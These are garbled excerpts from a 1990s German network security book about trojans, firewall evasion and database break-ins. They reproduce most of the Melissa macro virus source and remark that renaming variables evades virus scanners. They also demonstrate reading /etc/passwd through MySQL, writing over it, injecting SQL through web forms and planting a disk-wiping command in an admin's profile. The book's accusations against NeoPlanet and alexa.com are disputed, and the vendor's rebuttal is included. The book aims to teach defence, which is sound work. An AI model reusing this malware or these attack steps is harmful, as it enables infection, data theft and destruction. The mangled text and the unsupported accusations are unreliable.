stellt fest, da eines oder mehrere Gateways aktiv sind, und sendet in dem Moment, wenn eine ISDN-Verbindung besteht, fleiig WinWord und Excel Dokumente als gezippte ASCII Datei zu einem unbekannten Server im Internet. Das EXE-File ist zwar ein Selbstextrahierendes ZIP-File, nur kommt es aber nicht von PKWARE. Es ist ein Eigenbau, welcher auf freien Quellen basiert. Dieses Programm knnte sich auch z.B. an Netscape.exe oder explorer.exe angehngt haben, soda es stets mit startet. Es wartet, wenn die ISDN-Verbindung unterbrochen wird. Es wre auch mglich gewesen, ein kleines Programm, wie BO mit Plugins oder NetBUS zu installieren, welches sich stets zu den Zeiten meldet, wenn der User online ist, und somit unauffllig Fernadministration zulsst. Da nur bekannte trojanische Pferde von den Virenscannern erkannt werden, bleibt die Installation unentdeckt. Durch Hinzufgen einer Lschroutine lassen sich smtliche Spuren wieder beseitigen Die Erstellung eines solchen trojanischen Pferdes ist relativ einfach, sofern man die Quellen kennt, und ein wenig programmieren kann, und gengend Einfallsreichtum besitzt. Dank ausgereifter Compiler und umfangreichen, freien Bibliotheken ist noch nicht einmal der Einsatz von original Microsoft - Software notwendig. (http://www.cyrus.com) Da Fa. Microsoft mit der Einfhrung der winsock 2.0/2.1 die Kompatibilitt zu UNIX weitestgehend hergestellt hat, reduzieren sich die Entwicklungszeiten besonders im Bereich Netzwerk erheblich. Ebenso einfach ist auch die Einbindung eines Makros in die Benutzeroberflche von Windows 95/98/NT 4.0, dem Internet - Explorer. Diese Oberflche ist beliebig umprogrammierbar. Da in relativ vielen Unternehmen Mitarbeiter einen eigenen Anschlu besitzen, ist die Wahrscheinlichkeit relativ hoch, da ein Angreifer mit diesen Tricks eine Firewall umgehen oder sogar unauffllig ausschalten kann. Vielfach betroffen sind auch Behrden.
q q q q
Die kleinste, scheinbar belanglose Information ist fr einen Angreifer wichtig Eine technische Sicherheitsberprfung der Firewall ist fr einen Angreifer ohne Belang Die Existenz einer Firewall schtzt nicht vor einfachen Angriffen Ein einziger unsicherer Server im Netzwerk wird von einem Angreifer als Werkzeug mibraucht, ob UNIX oder NT, ist egal NAT oder Masquerading spielt bei Angriffen keine Rolle Auf einer Firewall darf nur der Firewall - Dienst gestartet sein Fernadministration bei Firewalls birgt groe Risiken Eine einstufige Firewall kann einfach berwunden werden - mindestens 3 Stufen sind erforderlich (Sie Buch: Einrichten von Internet Firewalls), damit die Firewall von innen nicht so einfach gepierct werden kann. (Siehe auch PHRACK - Magazin)
q q q
Ein ISDN- Firewallrouter oder auch eine zustzliche, hochwertige Firewall htte den Angriff nicht verhindern knnen, da von dem LINUX - Server aus der Angreifer statt ipfwadm -If einfach einen Telnet Tunnel von einem Internet-Server auf Port 23 des LINUX - Servers aufgebaut htte (FTP - PORT 23 - Trick) Ein professioneller Angreifer plant seine Angriffe sorgfltig, um nicht entdeckt zu werden. Er wird niemals irgendwelche Spuren hinterlassen, im Gegensatz zu den vielen Despoten, die sich im Internet tummeln. Ein Angriff bentigt nur wenige Sekunden - oft zuwenig, um zu bemerken, da der Logserver angehalten wurde Genaue Kenntnisse ber DoS Angriffe sind enorm wichtig, um z.B. einen Logserver schnell abschieen zu knnen Niemals einen Angreifer unterschtzen - Was ein Systemadministrator noch nicht einmal erahnen kann, ist fr einen Profi Routine
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Geschmack Aufstze auf den Internet Explorer basteln kann, gelingt es einem Angreifer schnell, ein trojanisches Pferd zusammen zu basteln.
E-Mail Attachments
Wer hat sie noch nicht erhalten. Unter bekannten tauscht man gerne mal einen EXE-Gru aus. Wer kennt sie nicht: Elchtest aus PCWELT, X-MAS.EXE, Getrnkehalter: Die CDROM fhrt aus). Aus vermeintlich vertrauenswrdiger Quelle vermutet niemand ein trojanische Pferd. Angreifer kennen meist aber Mail-Adressen von Kollegen und externen Mitarbeiter n, da einem Angriff immer eine genaue Untersuchung der Logfiles des E-Mail Exchangers/Relays vorausgeht. ber abgefangene E-Mails, die zumeist noch CC: -Adressen enthalten ist der Angreifer durchaus im Bilde, wer in den Augen des Systemadministrators vertrauenswrdig ist, und wer nicht. E-Mail - Exchange-Server von Providern sind oft sehr schlecht gesichert. Die Logfiles enthalten aber wichtige Schlsselinformationen ber Kontaktpersone n, Kunden, Bekannte ....
Tastatur Makros
Tasten Makro's knnen via E-Mail in ein Unternehmen eingeschleust werden. Der Angreifer findet sicherlich einen User, der mit der Umprogrammierung seiner Tastatur und den daraus resultierenden Konsequenzen nicht rechnet. Lotus-Notes z.B. kann so umprogrammiert werden, da jeder Tastendruck eine neue E-Mail in das Internet versendet: Inhalt: die Taste selber. Ein Angreifer bekommt so via E-Mail Paworte, Briefe.... in die Hnde - ein mchtiges Werkzeug, welches schon hufig gebraucht wurde.
Eingeschleuste Pseudo-Updates
Fast alle greren Firmen besitzen einen Wartungsvertrag ber Softwareupdates. Man stelle sich vor, der Systemadministrator bekommt eine Microsoft-CDROM: Update SP4 von seinem Lieferanten zugesandt (CompuNet, Digital....). Auf der CDROM ist aber nicht SP4, sondern SP1 mit all seinen bekannten Sicherheitslcken, und das Installationsprogramm ist eine gut gemachte Imitation, welche zudem noch ein trojanische Pferd auf dem Server installiert. Warnungen, es knnte eine neuere Version berschrieben werden, erscheinen nicht, alles luft wie gewohnt. Kurze Zeit spter wird der gut betreute Server aus dem Internet ferngesteuert. Auch CDROM's kann man in kleinen Stckzahlen zu Preisen von ca. 5 DM incl. Aufdruck herstellen lassen. Installationssoftware, die Microsofts Installationsprogramm nachahmt, gibt es im Internet gratis, viele Hersteller von Freeware benutzen es (http://www.w3.o rg/amaya/). Der
Aufwand fr einen Angreifer, sich alte SP1 Updates, DLL's, Systemfiles aus einem installierten System zu kopieren, diese in ein File zusammen zu schreiben und mit dem FreeWare Installtionsprogramm zu versehen, wrde ein paar Stunden in Anspruch nehmen. Die Herstellung der CDROM mit Glasrohling, Aufruck.....ca. 200 DM. Danach wren alle NT-Server, Workstations.....im Netz mit NETBUS verseucht und beliebig fernsteuerbar. Viel einfacher ist natrlich, einem bekannten die neuesten ServicePacks brandaktuell aus dem Internet auf CDROM zu kopieren, damit er Downloadzeit spart......
q q
Diese Informationen werden von o.a. Programmen zur bermittlung der Informationen in das Internet verwendet und dienen der Vorbereitung weiterer Angriffe. Mit diesen Informationen wird ermittelt, wer im Netzwerk evtl. sein Laufwerk zum Scheiben freigegeben hat. Falls im Unternehmen ein Switch eingesetzt wird, so ist die Ausbeute aus (1.) nicht gro. Der Sniffer installiert sich dann einfach auf die andere Arbeitsstation. So erhlt man weitere Paworte aus anderen Bereichen in Netz. Der Scan nach IP-Adressen ist fr 11. notwendig. Die Hardwareadressen verraten, wer die Netzwerkkarten produziert hat. Jeder Hersteller von Servern (HP, 3COM, SUN, DEC, NOVELL....) haben ihre charakteristischen , reservierten MAC-Kennungen. Mit Hilfe von diesen lassen sich Hersteller und Lieferdatum von Servern, Routern....bestimmen. Daraus ergeben sich konkrete Hinweise auf das installierte Betriebssystem. Eine kurze Recherche in BUGTRAQ Archiv zeigt dann, welche Sicherheitsprobleme dieses haben knnte, und der Angreifer findet dort auch auch gewhnlich den exploit. Scan nach Virenscannern soll bei spteren Angriffen verhindern, da sich TSR-Programme (Terminate Stay Resident) und der Virenscanner gegenseitig blockieren. Es zeigt auch, ob es mglich ist, zu einem spteren Zeitpunkt ein trojanisches Pferd via E-Mail ber WinWord, Excel oder Powerpoint in das Netzwerk zu schleusen. Das verwendete Betriebssystem, die genauen Versionen von Browser, E-Mail Programm knnten spter wichtig sein. Sie zeigen aber auch, wie fleiig die Systemadministratoren Sicherheits-Updates einspielen. Sie erlauben es abzuschtzen, ob und wann auf dem Server Sicherheitskorrekturen eingespielt wurden. Die installierte Software zeigt, welche Sicherheitsschwchen weiter ausgenutzt werden knnen. Der Scan nach offenen Portnummern aller IP-Adressen im Netz meldet gewhnlich, hinter welcher IP - Nummer sich eine Arbeitsstation oder ein Server verbirgt. Die offenen Ports zeigen an, welches Betriebssystem installiert ist, und welche Dienste es aktiviert hat. Daraus ergibt sich nach einer Recherche auf BUGTRAQ, ob und welcher buffer overflow funktionieren wrde, um an die Daten heranzukommen. Weiterhin ergeben sich Zusammenhnge in der Netzwerkarchitektur, Hinweise auf Router und evtl. Wege in Filialen oder andere angeschlossene Netzwerke. Diese Portscans knnten von einer internen Firewall bemerkt werden, im allgemeinen aber fllt ein solcher Scan nicht weiter auf. Insbesondere interessieren die typischen Ports der Logserver, auf welche die Firewall Sicherheitsmeldungen sendet. Das Versenden all dieser Informationen erfolgt weitestgehend unauffllig.
werden knnen. Nun kennt der Angreifer weitere User und deren Namen im Netz. Welche Mglichkeiten ergeben sich hieraus ? q Auswertung von E-Mail Headern auf Arbeitsstationen zur Analyse der Netzwerkstruktur und Informationsflsse im Netz. q Weiterfhrung des Angriffs mit dem Weihnachtsmann in anderen Unternehmensfiliale n q Installation weitere Netzwerk - und Keyboardsniffer Auslesen des SQL-Servers ber eine Arbeitsstation, die gengend Festplattenspeicher besitzt q Angriff mit buffer overflow auf den Server und Installation eines Tunnels zur Fernwartung ber Internet. q DoS des Logservers der Firewall in Falle einer Installation eines Tunnels q Eindringen in den SQL-Server des Unternehmens und Kopieren der Informationen in das Internet
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Windows NT. Special Build %s %d.%d Build %d \StringFileInfo\040904b0\CompanyName \StringFileInfo\040904b0\ProductName ...... /* Das Programm ermittelt die Registrierung, also Firma und User*/ %s\chanuser.neo %s%s\chanuser.neo %s\config.ini %s%s\config.ini ...... /* Es liest Konfigurationsdateien, die Informationen ber Netzwerk- Anbindungen enthalten */ /resolver.dll?realname=%s RNServer www.realnames.com Search /* Es wendet sich an den DNS-Server www.realnames.com, um Namen im Internet in IP - Nummern aufzulsen, ber die Firewall hinweg */ ... http://%s/%s * ENHANCED BROWSING: RealName search for: %s * ENHANCED BROWSING: looking for %s www.%s.com /* Das Programm verbindet sich ber die Firewall hinweg mit seinem "HOME Server" Es ffnet DLLs die ebenfalls untersucht werden sollten */ rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl ...... /* Hier beginnt die Sequenz der Unterprogramme, die das Programm alle aufruft, Aus welchem Grund das Programm RAS Verbindungen sucht und startet, ist unbekannt. Fest steht nur, da es dann arbeitet, wenn der Arbeitsplatz-PC hinter der Firewall mit einem Modem oder einer ISDN-Karte ausgestattet ist. Die Informationen werden dann direkt ber den Arbeitsplatz PC in das Internet versandt, also ist keine Kontrolle ber die Firewall mehr mglich */ Startup CheckDefaultBrowser rasapi32.dll RasGetErrorStringA RasEnumEntriesA RasEnumConnectionsA RasGetConnectStatusA RasDialA RasSetEntryDialParamsA RasGetEntryDialParamsA RasHangUpA Disconnected Connected to %s Retry Authentication Password Expired Interactive Dialup Networking not installed Disconnecting Not Connected SubEntry Disconnected SubEntry Connected Logging On Network Callback Complete Authentication Started Projected Wait for Callback Wait For Modem Reset Prepare for Callback
.... Device Connected Dialing %s Port Opened Opening Port Unknown State Change lastdialup .... RasCreatePhonebookEntryA RasEditPhonebookEntryA rundll32.exe shell32.dll,Control_RunDLL modem.cpl IsNeoPlanet InsertImage DoSearch CNeo20DlgAutoProxy /* Neoplanet hat also die PROXY-Mechanismen einprogrammiert, um ber eine Firewall hinweg zu arbeiten.....*/ telnet:// gopher:// ftp:// TestWnd Personal Address Book Windows Address Book "%s" <%s> Bad call to GetAddressBookFile.txt NeoPlanet Beta Addressbook.txt Previously Recieved Email Addresses.txt Previously Sent Email Addresses.txt Personal Addressbook.txt "%s" %s Failure loading Windows Address Book Import Manager wabmig.exe Import Addresses into Windows Address Book Neoplanet now uses the Windows Address Book to store email addresses.\ Do you want to import your addresses from the Neoplanet beta Address Book ? email /* Keine Ahnung mehr, was das Programm genau macht, etwas spter wird sich das Rtsel aber auflsen....Etwas beunruhigend, das Neoplanet mit dem Address Book anfangen will.....*/ SOFTWARE\Clients\mail SOFTWARE\Classes\mailto\shell\open\command SOFTWARE\Classes\mailto\DefaultIcon SOFTWARE\Clients\mail\%s\protocols\mailto\shell\open\command SOFTWARE\Clients\mail\%s\protocols\mailto\DefaultIcon SOFTWARE\Clients\mail\%s\shell\open\command ...... /* Das Programm ffnet ber POP und SMTP seine Verbindung in das Internet. Die IP - Nummern hat des den Konfigurationsfiles des InternetExplorers entnommen, nett ! */ open pop3-server smtp-server NeoLex.tlx %lu words checked, %lu errors detected, %lu words changed. UserDic.tlx NeoLex.tlx,NeoLex.clx,Correct.tlx /* Ein gltiges Pawort auf dem NeoMail Server ? */ UseNeomail AsDfGhJk pop3-pass downloadlink delete-messages
name e-address pop3-account setuphelp /* Die Online - Hilfe */ http://www.neoplanet.com/help/emailsettings.htm ..... Last Check: One or more email accounts failed. Successful /* Nun wird es interessant: NeoPlanet kmmert sich um andere installierte Programme, wie Pegasus Mail, Eudora, Outlook..., ffnet alle Konfigurationsdateien, und liest deren Inhalte. Es ist nur noch ein Frage, wohin Neoplanet die Inhalte schickt.....Antwort kommt spter !!!*/ Pegasus Mail for Windows - built-in TCP/IP Mail Settings Netscape Mail Pegasus Mail Eudora 4.0 Outlook Outlook Express \Program Files\Netscape\Users\ \PMAIL\MAIL\Pmail.ini \Program Files\Qualcomm\Eudora Mail\Eudora.ini Software\Microsoft\Office\8.0\Outlook\OMI Account Manager\Accounts Software\Microsoft\Internet Account Manager\Accounts /* Neoplanet mchte mehr ber die Netscape Bookmarks erfahren, und ffnet die Liste, der glserne Mensch....*/ FileLocation SOFTWARE\Netscape\Netscape Navigator\Bookmark List \bookmark.htm DirRoot CurrentUser SOFTWARE\Netscape\Netscape Navigator\Users USERNAME \Imported from Netscape /* Neoplanet mchte alle User dieses Arbeitsplatzes ermitteln...... */ Invalid Scheme Name FileContents ...... /* Der Ort der Updates von Neoplanet .......damit der User auch stets die aktuelle Version des trojanischen Pferdes installiert.....Damit der Systemadministrator auch nicht genau weiss, woher Neoplanet die Updates anfordert.....Neoplanet mu die Orte selber erfragen......*/ http://neoplanet.snap.com/LMOID/mysnap/mysnap/0,160,neoplanet-0,00.html?pt.neo.br.hom.my Error Obtaining Update. Update this software from ...... /neosetup ftp.neoplanet.com www.neoplanet.com http://www.neoplanet.com/_cmd/ mailto: error question info Caught ex importnetscapebookmarks Register register? /* Der User soll sich registrieren......und die Bookmarks von Netscape bermitteln ? Etwas viel Informationen .....*/ ShowTour tour artdir
true offline wichita autoupdate /* Support fr die neuen Internet-Channels - Der User wird informiert und informiert den Channelserver ber seine Bookmarks, damit Neoplanet stets geneu im Bilde ist, wofr der User sich interessiert ????? */ updatefixedchannels updatespelldict updateexe ibpush Did %d channels %ld - start, %ld - End channeltest3 channeltest2 mousetest colortest ...... /* Die Adresse [email protected] scheint eine der Adressen zu sein, an die Neoplanet Informationen sendet. Vielleicht sollte man diese Adresse in der Firewall filtern und untersuchen...... */ Automatic Testing of Neoplanet Mail Client's Queuing Functionality Queue Mail Test message #%d Queue Mail Test Create 50 messages to [email protected] in the Outbox? queuemailtest Automatic Testing of Neoplanet Mail Client's Send Functionality %A,%B %d,%Y - %H:%M:%S Send Mail Test message #%d [email protected] Send Mail Test Send 50 messages to [email protected]? sendmailtest http://www.doubleclick.com navigatetest about c:\neotest.neoscheme ...... /* Dieses Informationen sind nur fr Arbeitspltze mit direktem Anschlu an das Internet relavant */ %s\neochan1.neo http://www.neoplanet.com/channels/chanfixed.neo Error creating user directory C7FC0A215DE111d2841400A024D4B66A %s\neoplanet.ini is missing is out of date. InternetShortcut _NONE_ /* Neoplanet verrt die Signatur des E-Mail anhanges. Damit lt sich ermitteln wer der User ist */ Email Signature.txt %s.wav newmail.htm Support Issue Support SupportEmail ..... /* Neoplanet arbeitet mit dem in das Windows System eingebautem Wrterbuch. Dictionary attacks sind ausreichend bekannt, nun liefert Windows ein solches direkt schon mit Windows aus.....*/ Neo20 dictver dict
fixedchanver NeoFixed .zip ...... %s\shell\open\command %s\shell\open\ddeexec %s\shell\open\ddeexec\Application %s\shell\open\ddeexec\Topic [open("%1")] %s\DefaultIcon WWW_OpenURL application/x-ftp-protocol application/x-https-protocol application/x-http-protocol application/x-javaSkript c:\neobox.htm c:\netlog.txt ...... /* www.alexa.com ist als Hackersite bekannt......*/ http://neoplanet.alexa.com/data/... /* Whrend des Surfens verrt Neoplanet ber die Firewall hinweg alle Informationen ber den User, seinen Login und viele weitere Dinge (Security Indicator)....*/ %d.%d.%d.0 %d.%d.%d.%d Security Indicator ...... /* Die Hacker haben sogar signiert......:)) */ COXSysInfo Hacker Johnny BadDude Bonesaw Julito Wifey Nightshade Friskel Hoffman ...... System\CurrentControlSet\Services\Class\NetTrans 1500 2144 8192 ...... /* Neoplanet will alles aus der Registry genau wissen.....*/ COXRegistry HKEY_CURRENT_USER HKEY_USERS HKEY_CLASSES_ROOT HKEY_LOCAL_MACHINE HELO SMTPPort Quit Timeout ......
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Sean Conway wrote: > Dear Sir: > > In response to your recent report describing NeoPlanet as a "Trojan Horse",
> we would like to make it clear this characterization is categorically false. > How do you explain those strings in your .EXE code ? was build to self-test mail sending capabilities of NeoPlanet's version 2.1 (we are now on version 5.1). When we were developing client we needed a way to test it, so we added code to send 50 a test address ([email protected]).
While text strings generally do not reveal much about the functionality of an application, in this case the text actually says that it is intended for testing. In any case, this code has not been part of the application for quite some time. Given these facts, we feel the characterization of NeoPlanet as a Trojan Horse was rather irresponsible. Therefore we request a retraction and ask that in the future if you find code in the NeoPlanet application that you do not understand, please inquire with us before publicly stating such potentially libelous conclusions. Thank you in advance. Sean Conway NeoPlanet, Inc. > > > > > > > > > > > > > > > > > > > > >
Automatic Testing of Neoplanet Mail Client's Queuing Functionality Queue Mail Test message #%d Queue Mail Test Create 50 messages to [email protected] in the Outbox? queuemailtest Automatic Testing of Neoplanet Mail Client's Send Functionality %A,%B %d,%Y - %H:%M:%S Send Mail Test message #%d [email protected] Send Mail Test Send 50 messages to [email protected]? sendmailtest What's the purpose of [email protected] ? regards, Guido Stepken > > NeoPlanet abides by an earnest respect for the rights and interests of Why does it send mail ?
> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
> Internet users. Our overriding goal is to provide a positive and useful > Internet experience through our software - strictly with the consent of its > users. > > NeoPlanet does not masquerade as one program while acting surreptitiously as > another, nor does it inherently threaten the user or the user's computer. > Indeed all of NeoPlanet's basic functions are clearly stated to the user > before the application is activated and the application itself poses no > threat to users. > > The allegedly surreptitious stringers noted on your site are actually part > of a clearly stated function of the NeoPlanet application which described > within the NeoPlanet Privacy Statement. This function is part of > NeoPlanet's ad serving and software updating capabilities, which are neither > surreptitious nor destructive. > > NeoPlanet provides prominent links to this Statement before and after the > registration process - both from within the application and on the NeoPlanet > Web site to insure user consent. Please refer to the Privacy Statement > linked from the NeoPlanet main page (www.neoplanet.com) or go directly to > the below URL for details on the NeoPlanet functions in question. > http://www.neoplanet.com/user_central/privacy/index.html > > To date, there are nearly 3 million copies of NeoPlanet in distribution > worldwide. Our partners are among the most respected technology and media > brands in the world, including McAfee.com, Lycos, IBM, NEC, UPSIDE magazine > and others - most of whom distribute the software under their own brands. > > We hope concerned readers in Germany will examine these links carefully, as > we believe they clearly illustrate the falsehood of the claims put forth. > We welcome your feedback on the matter. >
Interessant ist auch das privacy statement, welches jeder, der Neoplanet einsetzt, auch unterschreibt. Man findet es auf der Homesite von Neoplanet.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
24.3 Konsquenzen
Diese einfache Analyse eines unbekannten Programmes lt sich schnell und effektiv durchfhren. Netterweise sind alle Strings in Klartext gut erkennbar und somit leicht auszuwerten. Der Programmierer knnte jedoch wichtige Stings verschlsseln - sie wren somit nur als wirre Zeichenketten sichtbar. Sollte eine solche Zeichenkette erscheinen, kann man vllig sicher sein, da der Programmierer etwas zu verbergen sucht. Das Programm ist dann ebenfalls TABU. Eine solche Analyse ist natrlich sehr oberflchlich und kein Garant dafr, da ein Programm "sauber" ist. Weitere Analysen lassen sich aber mit dem "WINDASM" oder mit SoftIce durchfhren, sie sind aber nur fr mit Assembler vertrauten Systemadministratoren geeignet.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
1 To DasMapiName.AddressLists.Count AddyBook = DasMapiName.AddressLists(y) 1 BreakUmOffASlice = UngaDasOutlook.CreateItem(0) oo = 1 To AddyBook.AddressEntries.Count Peep = AddyBook.AddressEntries(x) BreakUmOffASlice.Recipients.Add Peep x = x + 1 If x > 2 Then oo = AddyBook.AddressEntries.Count Next oo BreakUmOffASlice.Subject = "Important Message From " & Application.UserName BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)" BreakUmOffASlice.Attachments.Add ActiveDocument.FullName BreakUmOffASlice.Send Peep = "" Next y DasMapiName.Logoff End If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo" End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1) Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1) NTCL = NTI1.CodeModule.CountOfLines ADCL = ADI1.CodeModule.CountOfLines BGN = 2 If ADI1.Name <> "Melissa" Then If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL Set ToInfect = ADI1 ADI1.Name = "Melissa" DoAD = True End If If NTI1.Name <> "Melissa" Then If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL Set ToInfect = NTI1 NTI1.Name = "Melissa" DoNT = True End If If DoNT <> True And DoAD <> True Then GoTo CYA If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = "" ADI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()") Do While ADI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If If DoAD = True Then Do While NTI1.CodeModule.Lines(1, 1) = "" NTI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()") Do While NTI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If CYA: If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then ActiveDocument.Saved = True End If 'WORD/Melissa written by 'Works in both Word 2000 'Worm? Macro Virus? Word 'Word -> Email | Word 97 Kwyjibo and Word 97 97 Virus? Word 2000 Virus? You Decide! <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here." End Sub Wer sich den Quellcode einmal genauer anschaut, der wird feststellen, da die Programmierung doch recht einfach ist. Die BASIC Zeilen kann sich nun jeder nach einen eigenen Vorstellungen geringfgig verndern, um quasi ein neues trojanisches Pferd zu kreieren, welches von aktuellen Virenscannern nicht mehr erkannt wird. Wer nun noch mit Suchen/Ersetzen einige Variablennamen und Funktionen umbenennt, der hat damit Erkennungsalgorithmen vieler Virenscanner auer Gefecht gesetzt, obwohl der Makrovirus immer noch derselbe ist. Wer diese Gefahren umgehen zuverlssig vermeiden mchte, der mag sich mit dem Kapitel Unkonventionelle Firewalllsungen nher auseinandersetzen.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Query OK, 0 rows affected (0.00 sec) mysql> load data infile "/etc/passwd" into table passwd; Query OK, 31 rows affected (0.01 sec) Records: 31 Deleted: 0 Skipped: 0 Warnings: 0 mysql> select * from passwd; +-------------------------------------------------------------------------+ | text | +-------------------------------------------------------------------------+ | root:x:0:0:root:/root:/bin/bash | | bin:x:1:1:bin:/bin:/bin/bash | | daemon:x:2:2:daemon:/sbin:/bin/bash | | lp:x:4:7:lp daemon:/var/spool/lpd:/bin/bash | | news:x:9:13:News system:/etc/news:/bin/bash | | uucp:x:10:14::/var/lib/uucp/taylor_config:/bin/bash | | games:x:12:100::/tmp:/bin/bash | | man:x:13:2::/var/catman:/bin/bash | | at:x:25:25::/var/spool/atjobs:/bin/bash | | postgres:x:26:2:Postgres Database Admin:/var/lib/pgsql:/bin/bash | | lnx:x:27:27:LNX Database Admin:/usr/lib/lnx:/bin/bash | | mdom:x:28:28:Mailing list agent:/usr/lib/majordomo:/bin/bash | | yard:x:29:29:YARD Database Admin:/usr/lib/YARD:/bin/bash | | wwwrun:x:30:65534:Daemon user for apache:/tmp:/bin/bash | | squid:x:31:65534:WWW proxy squid:/var/squid:/bin/bash | | fax:x:33:14:Facsimile Agent:/var/spool/fax:/bin/bash | | gnats:x:34:65534:Gnats Gnu Backtracking System:/usr/lib/gnats:/bin/bash | | empress:x:35:100:Empress Database Admin:/usr/empress:/bin/bash | | adabas:x:36:100:Adabas-D Database Admin:/usr/lib/adabas:/bin/bash | | amanda:x:37:6:Amanda Admin:/var/lib/amanda:/bin/bash | | ixess:x:38:29:IXware Admin:/usr/lib/ixware:/bin/bash | | irc:x:39:65534:IRC Daemon:/usr/lib/ircd:/bin/bash | | ftp:x:40:2:ftp account:/usr/local/ftp:/bin/bash | | firewall:x:41:31:firewall account:/tmp:/bin/false | | informix:x:43:34:Informix Database Admin:/usr/lib/informix:/bin/bash | | named:x:44:44:Nameserver Daemon:/var/named:/bin/bash | | virtuoso:x:45:100:Virtuoso Admin:/opt/virtuoso-lite:/bin/bash | | nobody:x:65534:65534:nobody:/tmp:/bin/bash | | user01:x:500:100::/platte2/home/user01:/bin/bash | | user02:x:501:100::/home/user02:/bin/bash | | user03:x:502:100::/home/user03:/bin/bash | +-------------------------------------------------------------------------+ 31 rows in set (0.00 sec) mysql> Man kann offensichtlich in einem SuSE LINUX System mit einem MySQL Server beliebig Daten aus anderen Verzeichnissen in die MySQL Datenbank einlesen und sich quer ber das Internet irgendwohin bertragen lassen. Ein Useraccount mit beschrnkten Rechten an irgendeiner Tabelle reicht da vllig aus. Sie sehen, da da auch eine Firewall nicht mehr helfen kann. Das Statement: insert .....
select * from passwd into outfile "/etc/passwd"; Query OK, 32 rows affected (0.03 sec) spare ich mir nun, was Sie ebenfalls sich sparen sollten. Damit ein solcher Einbruch also nicht mglich ist, sollten Sie MySQL nur mit User-Rechten starten, und den MySQL Serverdmon in eine CHROOT() Umgebung verbannen. Wie Sie das tun, finden Sie hier: http://www.little-idiot.de/firewall. Falls Sie nun denken, LINUX wre unsicher, da haben Sie Recht. Ich kann Ihnen als angehender MCSD aber garantieren, da NT 4.0 Server mit MS SQL 7.0 noch viel haarstrubendere Sicherheitslcken besitzen, deren Beschreibung Sie leider nicht in der Microsoft Dokumentation finden. Ich selber werde diese auch kaum verffentlichen, es sei denn, Microsoft gibt alle Quellcodes von NT und MS-SQL 7.0 unter GPL Lizenz frei... Unter LINUX oder BSD UNIX wissen Sie zumindest, wonach Sie suchen mssen, und knnen die Probleme beseitigen, unter NT nicht. Man kann also auch z.B. ber ein PHP3 oder PERL-Skript in ein Formularfeld z.B. ; delete * from .....; create ...; load data infile....select.... eintragen, um sich Inhalten von Dateien auf dem Server hinter der Firewall auf den Browser ausgeben zu lassen. Man kann z.B. auch in das Homeverzeichnis des Administrators (.profile, .bash_profile, .bashrc, ....) eine Datei exportieren, die ein Kommando zum Lschen der Festplatte enthlt.... Der Angreifer ist schon lange weg und der Administrator lscht seine eigene Festplatte..... Vieles ist mglich..... Das schlimme ist auch noch, da MySQL diesen Angriff nicht aufgezeichnet hat. MySQL verzeichnet stets alle Statements in der Datei /var/mysql/tunix.log (oder so hnlich). Hier finden sich jedoch Logs ber die Manipulationen der Datenbank test: user01@tunix:/var/mysql > more tunix.log mysqld started on Fri Feb 12 16:07:38 MET 1999 mysqld ended on Fri Feb 12 16:07:39 MET 1999mysqld started on 10:26 :42 MEST 1999 /usr/sbin/mysqld, Version: 3.21.33b-log, started with: Tcp port: 3306 Unix socket: /tmp/mysql.sock Time Id Command Argument 990819 10:26:48 1 Connect root@localhost on 1 Statistics 1 Quit 2 Connect root@localhost on 2 Init DB mysql 2 Query delete from db 2 Query delete from host 2 Query delete from user 2 Query delete from func 2 Query INSERT INTO db VALUES ('%','test','','Y','Y',' Y','Y','Y','Y') 2 Query INSERT INTO db VALUES ('%','test\_%','','Y','Y ','Y','Y','Y','Y') 2 Query INSERT INTO host VALUES ('localhost','%','Y',' Y','Y','Y','Y','Y') 2 Query INSERT INTO host VALUES ('tunix','%','Y','Y','
Thu Aug 19
